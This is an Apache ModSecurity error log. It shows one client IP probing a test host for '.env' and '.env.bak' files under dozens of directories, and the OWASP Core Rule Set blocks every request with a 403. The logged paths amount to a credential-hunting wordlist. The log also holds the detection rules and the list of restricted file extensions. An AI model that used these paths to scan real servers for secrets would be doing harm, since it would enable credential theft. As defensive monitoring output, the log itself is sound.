[Tue Dec 09 02:41:07.886245 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mail/.env"] [unique_id "aTd-M968QZ2WsgT79jeZDwAAAAE"]
[Tue Dec 09 02:41:07.921729 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mailer/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mailer/.env"] [unique_id "aTd-M968QZ2WsgT79jeZEAAAAAE"]
[Tue Dec 09 02:41:07.921957 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mailer/.env"] [unique_id "aTd-M968QZ2WsgT79jeZEAAAAAE"]
[Tue Dec 09 02:41:07.922148 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mailer/.env"] [unique_id "aTd-M968QZ2WsgT79jeZEAAAAAE"]
[Tue Dec 09 02:41:07.945293 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /nginx/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nginx/.env"] [unique_id "aTd-M968QZ2WsgT79jeZEQAAAAE"]
[Tue Dec 09 02:41:07.945582 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nginx/.env"] [unique_id "aTd-M968QZ2WsgT79jeZEQAAAAE"]
[Tue Dec 09 02:41:07.945765 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nginx/.env"] [unique_id "aTd-M968QZ2WsgT79jeZEQAAAAE"]
[Tue Dec 09 02:41:08.154788 2025] [:error] [pid 616386] [client 45.148.10.247:34466] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aTd-NOA7sCcnVsVZjPOt8AAAAAM"]
[Tue Dec 09 02:41:08.155060 2025] [:error] [pid 616386] [client 45.148.10.247:34466] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aTd-NOA7sCcnVsVZjPOt8AAAAAM"]
[Tue Dec 09 02:41:08.155268 2025] [:error] [pid 616386] [client 45.148.10.247:34466] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aTd-NOA7sCcnVsVZjPOt8AAAAAM"]
[Tue Dec 09 02:41:08.207379 2025] [:error] [pid 616386] [client 45.148.10.247:34466] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aTd-NOA7sCcnVsVZjPOt8QAAAAM"]
[Tue Dec 09 02:41:08.207624 2025] [:error] [pid 616386] [client 45.148.10.247:34466] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aTd-NOA7sCcnVsVZjPOt8QAAAAM"]
[Tue Dec 09 02:41:08.207810 2025] [:error] [pid 616386] [client 45.148.10.247:34466] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aTd-NOA7sCcnVsVZjPOt8QAAAAM"]
[Tue Dec 09 02:41:10.278604 2025] [:error] [pid 614291] [client 45.148.10.247:34478] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /xampp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xampp/.env"] [unique_id "aTd-Nsj7N5xvBbb8rIz5OQAAAAw"]
[Tue Dec 09 02:41:10.278925 2025] [:error] [pid 614291] [client 45.148.10.247:34478] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xampp/.env"] [unique_id "aTd-Nsj7N5xvBbb8rIz5OQAAAAw"]
[Tue Dec 09 02:41:10.279149 2025] [:error] [pid 614291] [client 45.148.10.247:34478] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xampp/.env"] [unique_id "aTd-Nsj7N5xvBbb8rIz5OQAAAAw"]
[Tue Dec 09 02:41:15.173579 2025] [:error] [pid 614291] [client 45.148.10.247:34478] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /main/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/main/.env"] [unique_id "aTd-O8j7N5xvBbb8rIz5OgAAAAw"]
[Tue Dec 09 02:41:15.173827 2025] [:error] [pid 614291] [client 45.148.10.247:34478] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/main/.env"] [unique_id "aTd-O8j7N5xvBbb8rIz5OgAAAAw"]
[Tue Dec 09 02:41:15.174033 2025] [:error] [pid 614291] [client 45.148.10.247:34478] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/main/.env"] [unique_id "aTd-O8j7N5xvBbb8rIz5OgAAAAw"]
[Tue Dec 09 02:41:15.599125 2025] [:error] [pid 614291] [client 45.148.10.247:34478] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node_modules/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.env"] [unique_id "aTd-O8j7N5xvBbb8rIz5OwAAAAw"]
[Tue Dec 09 02:41:15.599360 2025] [:error] [pid 614291] [client 45.148.10.247:34478] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.env"] [unique_id "aTd-O8j7N5xvBbb8rIz5OwAAAAw"]
[Tue Dec 09 02:41:15.599557 2025] [:error] [pid 614291] [client 45.148.10.247:34478] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.env"] [unique_id "aTd-O8j7N5xvBbb8rIz5OwAAAAw"]
[Tue Dec 09 02:41:15.624134 2025] [:error] [pid 614291] [client 45.148.10.247:34478] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /kyc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "aTd-O8j7N5xvBbb8rIz5PAAAAAw"]
[Tue Dec 09 02:41:15.624376 2025] [:error] [pid 614291] [client 45.148.10.247:34478] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "aTd-O8j7N5xvBbb8rIz5PAAAAAw"]
[Tue Dec 09 02:41:15.624576 2025] [:error] [pid 614291] [client 45.148.10.247:34478] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "aTd-O8j7N5xvBbb8rIz5PAAAAAw"]
[Tue Dec 09 02:41:15.656733 2025] [:error] [pid 614291] [client 45.148.10.247:34478] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aTd-O8j7N5xvBbb8rIz5PQAAAAw"]
[Tue Dec 09 02:41:15.656971 2025] [:error] [pid 614291] [client 45.148.10.247:34478] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aTd-O8j7N5xvBbb8rIz5PQAAAAw"]
[Tue Dec 09 02:41:15.657167 2025] [:error] [pid 614291] [client 45.148.10.247:34478] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aTd-O8j7N5xvBbb8rIz5PQAAAAw"]
[Tue Dec 09 02:41:19.677208 2025] [:error] [pid 616393] [client 45.148.10.247:41794] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "aTd-P16fNBZxzyJyXJxbEwAAAAc"]
[Tue Dec 09 02:41:19.678163 2025] [:error] [pid 616393] [client 45.148.10.247:41794] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "aTd-P16fNBZxzyJyXJxbEwAAAAc"]
[Tue Dec 09 02:41:19.678428 2025] [:error] [pid 616393] [client 45.148.10.247:41794] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "aTd-P16fNBZxzyJyXJxbEwAAAAc"]
[Tue Dec 09 02:41:25.282462 2025] [:error] [pid 614288] [client 45.148.10.247:41814] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "aTd-ReM9iATdAmaQYuynygAAAAQ"]
[Tue Dec 09 02:41:25.282699 2025] [:error] [pid 614288] [client 45.148.10.247:41814] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "aTd-ReM9iATdAmaQYuynygAAAAQ"]
[Tue Dec 09 02:41:25.282902 2025] [:error] [pid 614288] [client 45.148.10.247:41814] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "aTd-ReM9iATdAmaQYuynygAAAAQ"]
[Tue Dec 09 02:41:29.807096 2025] [:error] [pid 614290] [client 45.148.10.247:41816] [client 45.148.10.247] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aTd-SYF-P_b3ZBc8KV30PwAAAAs"]
[Tue Dec 09 02:41:29.807229 2025] [:error] [pid 614290] [client 45.148.10.247:41816] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aTd-SYF-P_b3ZBc8KV30PwAAAAs"]
[Tue Dec 09 02:41:29.807457 2025] [:error] [pid 614290] [client 45.148.10.247:41816] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aTd-SYF-P_b3ZBc8KV30PwAAAAs"]
[Tue Dec 09 02:41:29.807723 2025] [:error] [pid 614290] [client 45.148.10.247:41816] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aTd-SYF-P_b3ZBc8KV30PwAAAAs"]
[Tue Dec 09 02:41:40.687889 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aTd-VN68QZ2WsgT79jeZEgAAAAE"]
